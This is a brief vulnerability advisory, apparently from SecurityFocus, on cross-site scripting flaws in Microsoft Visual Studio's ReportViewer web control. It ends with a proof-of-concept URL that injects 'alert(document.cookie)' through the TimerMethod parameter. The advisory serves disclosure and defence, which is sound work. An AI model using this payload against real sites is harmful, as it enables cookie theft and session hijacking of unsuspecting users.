source: http://www.securityfocus.com/bid/49033/info
Microsoft Visual Studio is prone to multiple cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to spoof content or disclose sensitive information.
https://www.example.com/Reserved.ReportViewerWebControl.axd?Mode=true&ReportID=%3CarbitraryIDvalue%3E&ControlID=%3CvalidControlID%3E&Culture=1033&UICulture=1033&ReportStack=1&OpType=SessionKeepAlive&TimerMethod=KeepAliveMethodctl00_PlaceHolderMain_SiteTopUsersByHits_ctl00TouchSession0;alert(document.cookie);//&CacheSeed=